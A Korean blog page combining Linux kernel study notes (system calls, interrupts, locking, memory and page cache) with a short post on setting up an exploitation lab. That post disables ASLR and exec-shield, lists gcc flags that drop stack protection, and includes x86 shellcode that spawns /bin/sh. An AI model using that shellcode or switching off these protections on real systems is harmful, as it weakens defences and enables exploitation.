시스템 콜번호 : 유저 공간의 프로세스가 시스템콜을 실행할 경우 실행할 이름대신 번호를 사용한다

매게변수의 전달
대부분의 시스템콜은 번호와 함께 매게 변수가 필요하다 가장 쉬운 방법은 레지스터를 이용하는 방법이다
x86 에서는 ebx, ecx,edx,esi edi 레지스터가 순서대로 처음 5개의 매개 변수를 저장한다
시스템 콜을 동작을 위한 한계
시스템콜 테이블에 엔트리를 추가한다--> 지원되는 아키텍처에 대해 (entry.S) 시스템 콜번호를 <asm/unistd.h>에 정의한다-> 커널이미지를 컴파일한다.



인터럽트(interrupt)
하드웨어가 프로세서와 통신 할 수 있도록 해준다
-> 인터럽트 핸들러를 최대한 빨리 수행해야 하지만 한편으로는 많은 추가적인 일을 해야하는 2가지 목표

top half:인터렙터가 활성화되는 즉시 실행 타임크리티컬한 작업들
bottom half:나중에 해도 될 작업들은 밑으로 내려 놓는다.


인터럽트 핸들러등록은 irq(할당할 인터럽트 번호) 와 handler(해당 인터럽트를 제어할 핸들러포인터)로 이뤄진다.


SA_INTERRUPT:이 플래그는 해당 인터럽트 핸들러가 빠른 인터럽트 핸들러임을 가리킨다
SA_SAMPLE_RANDOM:이 플래그는 해당 디바이스에 의해 발생한 인터럽트가 커널 엔트로피 prook기영향을 끼친다.

인터럽트 핸들러 제거:void free_irq로 제거 



메모리를 공유하는 응용프로그램은 항상 동시적인 접근으로부터 공유된 자원을 보호해야한다
-> 다수의 실행중인 스레드가 동시에 데이터를 변경할 경우 다른 스레드가 변경한 부분을 또다른 스레드가 덮을수 있기 떄문이다.

동기화(synchronization) : race condition 상태를 예방하는것!

락킹(rocking):한번에 오직 하나의 스레드만이 해당 자료구조를 조작할 수 있다는 것을 확신할 방법, 혹은 특별한 구역에서 다른 스레드가 동작하고 있을때 해당 자료구조

==> 큐에 대한 사용 스레드는 반드시 lock을 얻어야한다.

lock은 경쟁이 발생하지 않는 원자적 작업들로 구현되어 있따.
해당 key가 점유되었는지 확인하고 그렇지 않은 경우엔 자기가 그 키를 점유하는 작업을 단 하나의 명령으로 수행 할 수 있다. 'o'은 락이 설정되어 있지 않음이다.

대칭형 멀티프로세싱 시스템을 사용한다면 두 프로세스는 정확히 같은 시간에 하나의 위험지역에 진입할 수 있다.--> 진정한 동시성

커널에서의 동시성 원리
*인터럽트
*soft tirp 와 태스크릿 -->커널은 현재 동작중인 코드를 중단하기 위해 거의 언제라도 softrirp나 태스크릿을 스캐줄 할수 있다.
데드락(dead lock):하나 이상의 스레드와 하나 이상의 자원이 있을때 발생하는 것으로 각 스레드가 어떤 자원을 얻으려 대기 하지만 이미 모든 자원의 락이 잡혀 있을때 발생
ex) 사거리에서 서로 눈치보며 서있는 차들과 같다



커널 동기화 방법중 원자적 동작(atomic poeration)이란 중단됨이 없이 한번에 실행되는 명령을 뜻한다.

원자적 정수연산:atomic_t를 사용하는 자료구조의 일부분이다.
atomic_t 의 크기는 24bit를 넘어서는 안된다 그 이유는 원자적 동작을 조금 이상한 방법으로 구현하고 있는 sparc 아키댁처 떄문이다 sparc는 락을 32비트 int의 하위 비트에 포함시켜 구현한다.

원자적 정수 연산은 보통 카운터(counter)를 구현 하기 위해 사용한다.
단순한 카운터를 복잡한 락을 사용하여 보호하는 것이 비효율적이므로
훨씬 가벼운 atomic_inc() 나 Atomic_dec()을 사용하여 구현하는 것이 보통이다. 

워드(혹은 이와 동일한 크기의 객체)에 대한 읽기는 언제나 원자적으로 발생한다.
읽기는 절대 동일 워드에 대한 쓰기 작업과 서로 끼어들지 않는다.
코드를 작성 할때는 가능하면 복잡한 락 대신 간단한 원자적 동작을 사용하는것이 좋다.
아키텍처에서 1개 또는 2개의 원자적 동작은 복잡한 하나의 동기화 방법보다 가벼울 뿐만 아니라 캐시 스레싱을 덜 발생시킨다.

원자적 비트연산
이함수 역시 아키텍처에 종속적이며 <asm/bitops.h>에 정의돼 있다.
이 함수들의 특징은 바로 일반 메모리 주소를 가지고 연산을 한다는 점이다.
0번 비트는 주어진 주소에서 가장 아래쪽(least signification)(비트를 의미하고 32비트기기의 32비트는 다음 워드의 가장 아래쪽 비트가 된다.



우리가 구조체를 갱신하기 전에 다른 누군가 같은 구조체를 읽으면 안된다는 것이다.
이를 위해 보다 복잡한 동기화 방법 즉, 락이 필요하게 된다.

락의 종류는 스핀락, 세마포머, 큰커널락(Big kernel lock) 이 있는데,

스핀락이리눅스 커널에서 가장 일반적으로 사용되는 락이다. 스핀락은 최대한 하나의 스레드에 의해 잠길수 있는 락을 말한다.
만약 어떤 스레드가 이미 잠겨진 스핀락을 다시 잠그려  시도한다면 그 스레드는 루프를 돌면서 락을 잠글 수 있을 때 까지 기다린다.<asm/spinlock.h>

세마포어 : 휴면하는 락이라 생각할 수 있다 어떤 태스크가 이미 잠겨진 세마포머를 잠그려 하는 경우 세마포어는 그 태스크를 대기큐로 삽입하고 해당 태스크를 휴면 상태로 만든다.

큰커널락(BKL)은 태스크가 휴면할 경우 자동으로 해제되고 다시 실행될경우 자동으로 잠긴다. 때문에 BKL은 재귀적인 락인것이다.
BKL을 잡고 있는 프로세스는 몇번이라도 BKL을 다시 잠글수 있다. 이 경우도 데드락에 빠지지는 않는다.




타이머와 시간관리
 
하드웨어에 고정되어 일정간격으로 체크를 해주는것을 커널은 틱이라고 한다. 하지만 이러한 틱 인터렙터가 없어도 되지 않을까? 라는 말이 있다면 그대답은 yes 이다.
하지만  그 설계가 깔끔치는 않을것이다. 대신에 커널은 대기중인 이벤트 각각에 대해 동적으로 프로그램된 타이머를 사용해야하는데, 상당한 타이머 부하를생각해야한다.
이런식으로 하면 주기적인 타이머 인터럽트가 필요없고 따라서 Hz 또한 굳이 존재핮 ㅣ않아도 될것이다.

지피? 란 전역 변수 jiffies는 시스템이 부팅된 이후 발생한 틱의 수를 저장하는 변수이다. 


실행지연 : 때로 커널 코드(특히 드라이버의 경우)는 타이머나 보톰하프 메커니즘을 사용하지 않고서도 실행을 일정 시간 동안 지연 할 수 있는 방법이 필요하다.
이것은 대개 주어진 작업을 하드웨어에서 처리하기 위한 시간을 보유하기 위해 필요하다.





메모리관리

커널 내부에서 메모리할당은 커널 외부에서의 할당처럼 쉽지많은 않다.
커널에서의 메모리 할당을 어렵게 하는 데에는 여러가지 요소가 존재한다. 우선 커널에는 유저 공간에서 제공되는 것과 같은 사치스러운 환경ㅇ ㅣ존재하지 않고 유저공간과는 달리 커널에서는 쉽게 메모리를 할당하기 위한 편리한 기능이 제공되지 않는다.
예를들면 대부분의 경우 커널은 휴면(sleep)을 할 수가 없다. 게다가 커널은 메모리 오류를 쉽게 처리하지 못한다.

페이지 : 커널은 물리적인 페이지를 메모리 관리의 기본 단위로한다.
프로세서의 가장 작은 주소 할당 단위는 보통 워드(word) 이지만 메모리 관리 유닛(MMU)는 일반적으로 페이지 단위로 동작한다.

커널은 시스템에 있는 모든 물리적 페이지를 struct page 구조체로 표현한다.이 구조체는 <linux/mm.h>에 정의돼 있다.

struct page{
page_flags_t flags;
atomic_t _count;
atomic_t _mapcount;
unsigned log private;
strct address_space *mapping;
pgoff_t index;
struct list_head lru;
void *virtual;

};


우선 flags 필드는 페이지 상태를 저장한다 여기에 저장되는 플래그에는 페이지가 변경되었는지 (dirty) 혹은 메모리가 잠겨졌는지(lock) emddmf skxksosms dufjrkwlrk dlTEk.
_count 필드는 페이지 사용 횟수 즉 해당 페이지에 대한 참조가 얼마나 되는지를 저장한다 이횟수가 0이면 누구도 이페이지를 사용하지 않은것이고, 이페이지를 다른 누군가에게 할당해 줄 수 있게 된다.
커널 코드에서는 이 필드를 직접 접근하는 대신 page_count()함수에 page 구조체를 넘겨주어 그 값을 얻으면 된다.
virtual 필드는 페이지의 가상 주소이다. 일반적으로 이 값은 단지 가상 메모리에서의 페이지의 주소를 나타낸다. 한편 상위메모리(high memory)라 불리는 메모리는 커널의 주소 공간으로 영구적으로 매핑되지 않는데, 이러한 메모리를 나타낼 경우 이 필드에 NULL을 사용한다.
그리고 이 경우 페이지는 필요할 떄마다 동적으로 매핑 돼야 한다.

여기서 핵심은 page 구조체가 가상 페이지가 아닌 물리적인 페이지와 연계되어 있다는 사실이다. 따라서 이 구조체가 기술하는 내용은 일시적일 수 밖에없다.
커널은 이 자료구조를 이용하여 시스템 상의 모든 페이지를 관리하며 따라서 이 자료구조를 통해 어떤 페이지가 사용 가능한지(free 한지)를 알수 있게된다.


페이지 얻기!!

커널에는 메모리를 요청하기 위한 하나의 저수준 (low-level)메커니즘과 이것을 사용하는 여러 가지 인터페이스가 제공되는데 이들은 모두 페이지를 기본 단위로 삼아 메모리를 할당하며 <linux/gfp.h>에 선언돼있따.

0으로 페이지가 초기화 되어있으면 페이지를 할당해줄수 있는데, unsigned log get_zeroed_page(unsigned int gfp_mask) 함수로 얻을 수 있따.
이 함수는 __get_free_page()와 동일한 역할을 하지만 페이지를 할당된 후 0으로 채운다는 점이 다르다.

페이지 해제하기
할당된 페이지를 해제하려면 다음과같은 함수를 쓴다
void __free_pages(struct page *page, unsigned int order)


Kmalloc()
kmalloc()함수는 유저 공간에서 많이 쓰이는 malloc()루틴과 비슷하지만 대신 추가적인 플래그를 매개변수로 가진다.
반대는 kfree 이다.
vmalloc()은 kmalloc()과 비슷하지만 가상적으로는 연속이지만 물리적으로는 꼭 연속이 아닐 수도 있는 메모리를 할당 한 다는 점이 다르다.


스택에 정적으로 할당하기? 

프로세스마다 할당되는 커널 스택의 크기는 아키텍처와 컴파일시 옵션에 따라 다르다. 전통적으로 커널 스택의 크기는 프로세스당 두페이지씩이다.
즉 32비트 아키텍처에서는 대개 8KB 64비트에는 16kb 인데 이들은 각각 4, 8kb 의 페이지를 갖기 떄문이다.


물리적인 메모리가 단편화될수록 새 프로세스를 할당하기 위해 VM이 들여야 하는 비용은 증가한다.


이중에 어떤 할당 방법을 사용하는지가 결정하는것은 보통 물리적으로 연속적인 페이지가 필요하면 저수준 페이지 할당자나 kmalloc()을 사용한다.
이것은 커널내에서 메모리를 할당하는 표준적인 방법이므로, 아마도 여러분은 거의 이 방법을 사용하게 될것이다.
이들 함수에 주어지는 두 개의 공통 플래그가 GFP_ATOMIC과 GFP_KERNEL 이라는 사실을 떠올린다.
높은 우선순위의 휴면하지 않는 할당을 위에서는 GFP_ATOMIC플래그를 사용한다.
상위 메모리에서 할당하고자 한다면 alloc_pages()를 사용한다. 이 함수는 논리적 주소가 아닌 struct page 구조체의 포인터를 리턴한다.
이 상위 메모리는 자동으로 매핑되지 않으므로 여기에 접근하는 유일한 방법은 struct page 구조체를 사용하는것이다.


프로세스 주소공간

프로세스 주소공간은 각프로세스에 제공되는 선형주소범위와(더욱 중요한) 이 주소 공간 안에서 프로세스가 사용할 수 있는 실제 공간으로 나누어진다. 각각의 프로세스는 32비트 또는 64비트의 평평한 주소공간을 갖게되는데 그 크기는 아키텍처에 따라 다르다.
보통 주소공간은 각프로세스에게 유일하게 할당된다 즉 어떤 프로세스가 가진 주소공간의 메모리 주소를 알고 있더라도ㅡ 다른 프로세스가 가진 주소 공간의 메모리 주소에 대해서는 아무것도 알아 낼 수 없다.

하지만 프로세스가 자신의 주소공간을 다른 메모리 프로세스와 공유할수 있는데 이를 스레드 라 한다.

메모리주소는 4021f000 과 같은 주소 공간 안의 어떤 값으로 주어진다.
이러한 값은 프로세스의 32비트 주소공간에서 어떤 특정한 바이트를 식별 할 수 있도록 도와준다.
 흥미로운것은 08048000-0804ㅊ000 과 같이 프로세스가 접근권한을 갖는 메모리 주소들간의 간격이다.
이러한 합법적인 주소 간격을 메모리 공간이라한다.


페이지 테이블

비록 으용프로그램이 물리적 주소에 매핑된 가상 메모리상에서 동작 하더라도 프로세스는 직접 물리적인 메모리에 대해 동작한다
그러므로 으용프로그램이 가상메모리 주소에 접근할 경우 프로세스가 해당 요청을 처리하기 위해서는 가상 주소를 물리주소로 변환 해야 한다. 이러한 변환 작업은 페이지테이블을 이용해 이뤄진다.


하드웨어 캐시 TLB(translation lookaside buffer) 페이지 테이블을 도와 준다 이는 가상 주소에 접근하는 경우 프로세서는 먼저 해당 매핑이 TLB에 캐시 돼 있는가를 검사한다.

페이지캐시
PAGE CACHE 는 일반적으로 파일 시스템의 파일이나 블록 디바이스 파일 메모리맵파일등부터 생성된다. 이러한 식으로 페이지캐시는 최근에 파일을 접하면서 얻은 파일 모두를 저장한다.
한데 이 페이지는 비연속적인 다수의 물리블록이기 떄문에 이 사이에서 데이터를 찾기란 쉽지 않다
이러한 범용성을 유지하기위해 리눅스의 페이지캐시는 캐시 안의 페이지를 구별하기위해 address_space구조체를 사용한다.

커널은 페이지I/O를 하기전에 항상 페이지 캐시에서 원하는 페이지가 있는가를 검사해야하므로(flags 값이겠지?)이러한 검사 동작은 빠르게 이뤄져야 한다.



쓰기동작은 페이지 캐시를 통해 지연된다
페이지 캐시에 속한 데이터가 저장공간의 것보다 더 최신것이되면 해당 데이터는 dirty 해졌다고한다.
메모리에 쌓인 dirty페이지들은 언젠가 디스크로 다시 쓰여야하는데 이러한 과정을 라이트백(write back)이라 한다.

write back을 위해 커널 2.4 이전버젼에는 각각 2개의 독립적인스레드에서 처리하였으나 2.6부터는 커널 스레드 갱(gang)인 pdfflush 백그라운드 라이트백 데몬, 혹은 pdflush 스레드들이 이러한 작업을 한다.



모듈?

로딩가능한 커널 오브젝트로 묶을수 있으며 이것을 모듈 이라고한다
모듈은 지원 함으로써 시스템은 커널에 기본적으로 필요한 최소 기능만넣고 나머지의 부가기능과 드라이버는 모듈로 제공할수 있게된다
일반적으로 모듈이 로드되면 커널 안으로 동적으로 링크된다. 유저공간에서와 마찬가지로 동적으로 링크된 바이너리들은 명시적으로 익스포트된 함수들만 호출할수 있다.

(그럼 RTL은?)



OOPS --> 함수로 메모리가 표기된다
ksymoops --> 역추적 경로 상의 주소는 기호적 이름으로 변해야 한다.

커널 디버깅 TIPS
UID를 조건으로사용한다. 기존 알고리즘을 두고 새알고리즘을 추가하여 실행한다

if(current->uid!=7777){
/*이전 알고리즘 */
}

else{
/*새알고리즘*/
}

1초에도 수천번씩 호출되는 함수를 막기위해 빈도제한(rate limiting) 을 건다.
이렇게하면 콘솔에 정보가 넘처나는것을 막을 수 있고 컴퓨터는 정상 유지된다.
 
Posted by k1rha
2012. 3. 21. 00:10

execstack -q BINARY

했을때
X 나오면
스택이 executable 한거라네요 ㅎㅎ

일단 확인을 했으니 설정하고 다시 코드로 확인 하는방법!  



2) 최근 lnx kernel 문제

kernel 옵션 중 kernel.randomize_va_space랑 kernel.exec-shield 라는 옵션이 있심...
kernel.randomize_va_space는 random stack기능에 대한거고..
kernel.exec-shield는 executable-stack기능에 대한거고..
0으로 설정하면 Off 1로 설정하면 On
kernel 옵션을 설정하는 파일은 /etc/sysctl.conf이고 이 파일을 다음과 같이 수정한 후 리붓하면 해당 기능들이 꺼짐:

kernel.randomize_va_space = 0
kernel.exec-shield = 0

같은 맥락에서 gcc 옵션도 해 줘야 할 것이 있는데 다음과 같은 옵션이 있음:

-mpreferred-stack-boundary=2
-fno-stack-protector
-z exec-stack

각 옵션이 뭘 뜻하는지는 찾아보삼..

이 설정들을 다 하면 다음과 같은 코드로 테스트 해 볼 수 있삼...

----- rand_stack_test.c
// 다음 코드를 컴파일 한 후 두 번 이상 실행 했을 때 같은 주소가 나온다면
// random-stack 기능이 off 되었다고 할 수 있음
#include <stdio.h>

int main(void)
{
char buf[128];
fprintf(stdout, "buf variable address: 0x%08X\n", buf);
return 0;
}
----- rand_stack_test.c

----- exec_stack_test.c
// 다음 코드를 컴파일 한 후 실행 했을 때 정상적으로 쉘이 실행된다면
// stack-shield 기능이 off 되었다고 할 수 있음
#include <stdio.h>

char sc[] = 
"\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80";

int main(void)
{
void (*f)(void);
f = (void*)sc;
f();
return 0;
}
----- exec_stack_test.c

Posted by k1rha